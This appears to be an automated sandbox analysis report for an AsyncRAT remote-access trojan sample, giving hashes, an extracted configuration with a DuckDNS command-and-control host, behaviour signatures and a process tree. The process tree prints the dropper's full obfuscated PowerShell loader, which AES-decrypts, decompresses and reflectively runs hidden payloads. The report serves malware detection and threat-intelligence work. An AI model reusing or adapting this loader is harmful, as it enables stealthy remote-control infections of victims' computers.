asyncrat | 3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee

General

Target

3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd
Size

72KB
MD5

4bfe57ca78dd1ac468e92a2307783552
SHA1

73966e6a19ba6f1ea47002ddcbc42d5ac6434b22
SHA256

3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee
SHA512

21a0071708eaeead1ebf0cb96ab39955b6ced797c0b9e25005c5c8ae4659f2ef842de42572f15fa02eb91df82eb5ba82b1b0d06d09d908d835f039f23fca4572
SSDEEP

1536:W4s6PYSYp0q0tIlQ2baGAIbsIpcEj/Bi81w2yfmfV2fymv:46PHY2glQ2nAIQUcY91Fj2fyi

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

hjdsasync.duckdns.org:8797

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3456-41-0x0000000007A60000-0x0000000007A72000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
30	3456	powershell.exe
31	3456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3456	powershell.exe
932	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe
932	powershell.exe
932	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeDebugPrivilege	932	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 2412	4544	cmd.exe	83
PID 4544 wrote to memory of 2412	4544	cmd.exe	83
PID 4544 wrote to memory of 3392	4544	cmd.exe	84
PID 4544 wrote to memory of 3392	4544	cmd.exe	84
PID 3392 wrote to memory of 1180	3392	cmd.exe	86
PID 3392 wrote to memory of 1180	3392	cmd.exe	86
PID 3392 wrote to memory of 1624	3392	cmd.exe	87
PID 3392 wrote to memory of 1624	3392	cmd.exe	87
PID 3392 wrote to memory of 3456	3392	cmd.exe	88
PID 3392 wrote to memory of 3456	3392	cmd.exe	88
PID 3392 wrote to memory of 3456	3392	cmd.exe	88
PID 3456 wrote to memory of 932	3456	powershell.exe	93
PID 3456 wrote to memory of 932	3456	powershell.exe	93
PID 3456 wrote to memory of 932	3456	powershell.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\system32\cmd.exe
  cmd /c \"set __=^&rem\
  2⤵
  PID:2412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\system32\cmd.exe
    cmd /c \"set __=^&rem\
    3⤵
    PID:1180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd';$jnWG='CopWZSmyTWZSmoWZSm'.Replace('WZSm', ''),'InlhpUvolhpUklhpUelhpU'.Replace('lhpU', ''),'CZIKWreaZIKWtZIKWeDeZIKWcZIKWryZIKWptoZIKWrZIKW'.Replace('ZIKW', ''),'ElzVbdemzVbdenzVbdtAzVbdtzVbd'.Replace('zVbd', ''),'ChayteonyteogeyteoEyteoxtyteoenyteosyteoionyteo'.Replace('yteo', ''),'ReplQraplQrdplQrLinplQresplQr'.Replace('plQr', ''),'EnRototRotorRotoyPRotooRotointRoto'.Replace('Roto', ''),'DecjqJxomjqJxpjqJxrjqJxesjqJxsjqJx'.Replace('jqJx', ''),'GeIEVqtCuIEVqrIEVqreIEVqntIEVqPrIEVqoIEVqcIEVqesIEVqsIEVq'.Replace('IEVq', ''),'FroWBktmBWBktasWBkte6WBkt4StWBktrWBktiWBktngWBkt'.Replace('WBkt', ''),'SpFryoliFryotFryo'.Replace('Fryo', ''),'MaoNWYinMoNWYodoNWYuoNWYloNWYeoNWY'.Replace('oNWY', ''),'LoZooQaZooQdZooQ'.Replace('ZooQ', ''),'TkUiTrankUiTsfokUiTrmkUiTFinkUiTalkUiTBkUiTlkUiTockkUiT'.Replace('kUiT', '');powershell -w hidden;function YsezZ($hYPZV){$VWSjA=[System.Security.Cryptography.Aes]::Create();$VWSjA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$VWSjA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$VWSjA.Key=[System.Convert]::($jnWG[9])('dIVP+hM/q3VrHeJIleztLe7YnRJfIUHX64EccbDbOY4=');$VWSjA.IV=[System.Convert]::($jnWG[9])('6IPeN2NKRdqw088nkuVbTg==');$BvjHr=$VWSjA.($jnWG[2])();$qFsMh=$BvjHr.($jnWG[13])($hYPZV,0,$hYPZV.Length);$BvjHr.Dispose();$VWSjA.Dispose();$qFsMh;}function ggFnh($hYPZV){$nRoYI=New-Object System.IO.MemoryStream(,$hYPZV);$BNSgW=New-Object System.IO.MemoryStream;$XVXGN=New-Object System.IO.Compression.GZipStream($nRoYI,[IO.Compression.CompressionMode]::($jnWG[7]));$XVXGN.($jnWG[0])($BNSgW);$XVXGN.Dispose();$nRoYI.Dispose();$BNSgW.Dispose();$BNSgW.ToArray();}$ldHdk=[System.IO.File]::($jnWG[5])([Console]::Title);$AAEWQ=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 5).Substring(2))));$xuGEv=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 6).Substring(2))));[System.Reflection.Assembly]::($jnWG[12])([byte[]]$xuGEv).($jnWG[6]).($jnWG[1])($null,$null);[System.Reflection.Assembly]::($jnWG[12])([byte[]]$AAEWQ).($jnWG[6]).($jnWG[1])($null,$null); "
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwpvmtv3.pya.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/932-38-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/932-35-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/932-27-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/932-24-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/3456-22-0x0000000008040000-0x00000000086BA000-memory.dmp

Filesize
6.5MB

Download
memory/3456-4-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/3456-7-0x0000000006030000-0x0000000006096000-memory.dmp

Filesize
408KB

Download
memory/3456-5-0x0000000005E70000-0x0000000005E92000-memory.dmp

Filesize
136KB

Download
memory/3456-17-0x00000000060E0000-0x0000000006434000-memory.dmp

Filesize
3.3MB

Download
memory/3456-18-0x0000000006610000-0x000000000662E000-memory.dmp

Filesize
120KB

Download
memory/3456-19-0x00000000066A0000-0x00000000066EC000-memory.dmp

Filesize
304KB

Download
memory/3456-20-0x0000000006A20000-0x0000000006A64000-memory.dmp

Filesize
272KB

Download
memory/3456-21-0x0000000007940000-0x00000000079B6000-memory.dmp

Filesize
472KB

Download
memory/3456-0-0x000000007500E000-0x000000007500F000-memory.dmp

Filesize
4KB

Download
memory/3456-23-0x0000000006C30000-0x0000000006C4A000-memory.dmp

Filesize
104KB

Download
memory/3456-6-0x0000000005F10000-0x0000000005F76000-memory.dmp

Filesize
408KB

Download
memory/3456-3-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/3456-2-0x00000000057F0000-0x0000000005E18000-memory.dmp

Filesize
6.2MB

Download
memory/3456-1-0x0000000003140000-0x0000000003176000-memory.dmp

Filesize
216KB

Download
memory/3456-39-0x0000000005460000-0x0000000005472000-memory.dmp

Filesize
72KB

Download
memory/3456-40-0x0000000005470000-0x000000000547E000-memory.dmp

Filesize
56KB

Download
memory/3456-41-0x0000000007A60000-0x0000000007A72000-memory.dmp

Filesize
72KB

Download
memory/3456-44-0x0000000007F40000-0x0000000007FDC000-memory.dmp

Filesize
624KB

Download
memory/3456-45-0x000000000AC70000-0x000000000B214000-memory.dmp

Filesize
5.6MB

Download
memory/3456-47-0x000000007500E000-0x000000007500F000-memory.dmp

Filesize
4KB

Download
memory/3456-48-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download
memory/3456-49-0x0000000075000000-0x00000000757B0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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